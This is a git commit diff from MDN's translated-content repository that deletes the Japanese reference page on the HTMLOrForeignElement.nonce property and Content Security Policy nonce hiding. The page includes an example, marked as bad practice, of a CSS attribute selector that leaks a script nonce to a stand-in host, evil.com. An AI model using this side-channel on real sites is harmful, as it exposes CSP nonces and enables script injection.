diff options
author | MDN <actions@users.noreply.github.com> | 2021-07-07 00:36:00 +0000 |
---|---|---|
committer | MDN <actions@users.noreply.github.com> | 2021-07-07 00:36:00 +0000 |
commit | 751e4b6115b0d8f30a147dcba95a3e21445ba4de (patch) | |
tree | 3d63e324fe754f9b9f371f50394cfd55692ab32e /files/ja/web/api/htmlorforeignelement | |
parent | 4f70db6399a732ca7571c6c8cb952be7c9a85763 (diff) | |
download | translated-content-751e4b6115b0d8f30a147dcba95a3e21445ba4de.tar.gz translated-content-751e4b6115b0d8f30a147dcba95a3e21445ba4de.tar.bz2 translated-content-751e4b6115b0d8f30a147dcba95a3e21445ba4de.zip |
[CRON] sync translated content
Diffstat (limited to 'files/ja/web/api/htmlorforeignelement')
-rw-r--r-- | files/ja/web/api/htmlorforeignelement/nonce/index.html | 62 |
1 files changed, 0 insertions, 62 deletions
diff --git a/files/ja/web/api/htmlorforeignelement/nonce/index.html b/files/ja/web/api/htmlorforeignelement/nonce/index.html deleted file mode 100644 index cd64acbbb5..0000000000 --- a/files/ja/web/api/htmlorforeignelement/nonce/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: HTMLOrForeignElement.nonce -slug: Web/API/HTMLOrForeignElement/nonce -tags: - - API - - Content Security Policy - - Experimental - - HTML DOM - - HTMLElement - - Property - - Reference - - nonce -translation_of: Web/API/HTMLOrForeignElement/nonce ---- -<div>{{APIRef("HTML DOM")}}</div> - -<p><span class="seoSummary"><strong><code>nonce</code></strong> は {{DOMxRef("HTMLOrForeignElement")}} ミックスインのプロパティで、特定のフェッチを続行できるかどうかを決定するためにコンテンツセキュリティポリシー (<a href="/ja/docs/Web/HTTP/CSP">Content Security Policy</a>) で使用される一度だけの暗号化番号を返します。</span></p> - -<p>後の実装では、 <code>nonce</code> 属性を持つ要素はスクリプトにのみ公開します (CSS 属性セレクターのようなサイドチャネルには公開しません)。</p> - -<h2 id="Examples">例</h2> - -<h3 id="Retrieving_a_nonce_value">ノンス値の受け取り</h3> - -<p>以前は、すべてのブラウザーが IDL 属性の <code>nonce</code> に対応しているわけではなかったので、回避策としては、代替として <code><a href="/ja/docs/Web/API/Element/getAttribute">getAttribute</a></code> を使用するようにしていました。</p> - -<pre class="brush: js">let nonce = script['nonce'] || script.getAttribute('nonce');</pre> - -<p>しかし、最近のバージョンのブラウザーでは、この方法でアクセスすると <code>nonce</code> の値を隠します (空の文字列が返されます)。 IDL プロパティ (<code>script['nonce']</code>) がノンスにアクセスする唯一の方法となります。</p> - -<p>ノンスを隠蔽することは、攻撃者が以下のようなコンテンツ属性からデータを取得できるメカニズムを介してノンスデータを流出させることを防ぐのに役立ちます。</p> - -<pre class="brush: css example-bad">script[nonce~=whatever] { - background: url("https://evil.com/nonce?whatever"); -}</pre> - -<h2 id="Specifications">仕様書</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">仕様書</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">ブラウザーの互換性</h2> - -<p>{{Compat("api.HTMLElement.nonce")}}</p> - -<h2 id="See_also">関連情報</h2> - -<ul> - <li><a href="/ja/docs/Web/HTML/Global_attributes/nonce"><code>nonce</code> グローバル属性</a></li> - <li><a href="/ja/docs/Web/HTTP/CSP">コンテンツセキュリティポリシー</a></li> - <li>CSP: {{CSP("script-src")}}</li> -</ul> |